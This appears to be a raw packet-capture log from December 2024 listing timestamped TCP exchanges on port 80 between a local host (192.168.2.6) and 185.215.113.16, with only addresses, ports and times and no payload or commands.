Dec 17, 2024 10:08:52.049618959 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.050187111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.050252914 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.050265074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.050297022 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.050318956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.050363064 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.051001072 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.051103115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.051114082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.051147938 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.051188946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.051238060 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.051760912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.051800966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.051811934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.051856995 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.051894903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.051939011 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.052561045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.052635908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.052648067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.052679062 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.052758932 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.052807093 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.053347111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.053406954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.053416967 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.053447962 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.053482056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.053524971 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.054143906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.054181099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.054194927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.054225922 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.054266930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.054313898 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.055031061 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.055083990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.055094957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.055125952 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.055157900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.055206060 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.055708885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.055795908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.055807114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.055843115 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.055861950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.055907011 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.056646109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.056694984 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.056709051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.056721926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.056744099 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.056771040 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.057329893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.057368994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.057379961 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.057415009 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.057447910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.057492971 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.058101892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.058145046 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.058156013 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.058197975 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.058254004 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.058294058 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.058916092 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.058963060 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.058974028 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.059017897 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.059039116 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.059082985 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.059782982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.059869051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.059915066 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.110825062 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.110882998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.110918999 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.110955000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.110975981 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.111079931 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.111291885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.111349106 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.111382961 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.111403942 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.111417055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.111476898 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.112030983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.112086058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.112118959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.112145901 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.112200975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.112252951 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.112822056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.112876892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.112912893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.112926960 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.112946987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.112998009 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.113610983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.113662958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.113697052 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.113713980 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.113732100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.113837004 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.194334030 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.194399118 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.194433928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.194467068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.194469929 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.194565058 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.194751024 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.194902897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.194940090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.194953918 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.194977045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.195012093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.195017099 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.195744991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.195801020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.195811033 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.195849895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.195883989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.195905924 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.196398020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.196450949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.196465015 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.196485043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.196532965 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.196549892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.197227955 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.197280884 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.197293997 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.197314978 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.197360992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.197371006 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.197988987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.198045015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.198046923 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.198079109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.198124886 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.198143959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.198776960 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.198828936 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.198872089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.240679979 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.240741014 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.240773916 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.240777969 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.240816116 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.240891933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.240969896 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.241074085 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.241136074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.241172075 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.241203070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.241225958 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.241538048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.241610050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.241642952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.241647005 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.241712093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.241755962 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.242346048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.242398977 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.242417097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.242451906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.242516041 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.242546082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.243139029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.243206978 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.243221998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.243257046 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.243309975 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.243361950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.243968964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.244040966 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.244087934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.244122028 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.244154930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.244175911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.244724989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.244791031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.244823933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.244843960 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.244858027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.244869947 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.245543003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.245596886 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.245630980 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.245656967 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.245678902 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.245697975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.246305943 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.246357918 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.246359110 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.246392965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.246457100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.246505976 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.247201920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.247268915 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.247299910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.247349977 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.247381926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.247432947 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.247880936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.247967005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.247978926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.248011112 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.248035908 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.248085976 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.248677015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.248727083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.248737097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.248748064 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.248780012 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.248881102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.249471903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.249525070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.249535084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.249557972 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.249583006 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.249638081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.250283957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.250351906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.250361919 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.250380993 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.250444889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.250456095 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.251090050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.251138926 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.251147985 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.251159906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.251204014 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.251224995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.251877069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.251957893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.251990080 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.303164959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.303185940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.303200006 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.303262949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.303316116 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.303316116 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.303411007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.303453922 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.303458929 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.303467989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.303514004 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.303549051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.303955078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.304179907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.304245949 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.304281950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.304295063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.304337025 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.304405928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.305058002 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.305071115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.305082083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.305114031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.305119991 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.305152893 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.305820942 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.305887938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.305900097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.305922985 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.305957079 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.306011915 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.319524050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.320154905 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.386338949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.386444092 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.386477947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.386513948 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.386548042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.386570930 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.386620045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.386672020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.386708021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.386724949 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.386764050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.386775970 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.387432098 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.387485981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.387490988 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.387518883 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.387554884 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.387572050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.388302088 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.388348103 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.388355017 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.388382912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.388417959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.388469934 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.389055967 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.389110088 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.389118910 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.389142990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.389208078 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.389264107 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.389913082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.389947891 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.389974117 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.389982939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.390017986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.390069962 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.390818119 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.390851021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.390886068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.390887976 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.391041040 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.432785988 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.432821989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.432857037 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.432893991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.433015108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.433015108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.433207035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.433239937 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.433274031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.433295965 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.433664083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.433697939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.433732033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.433732986 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.433842897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.433898926 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.434515953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.434550047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.434586048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.434604883 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.434618950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.434653044 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.435216904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.435270071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.435271025 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.435305119 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.435353994 CET	80	49774	185.215.113.16	192.168.2.6
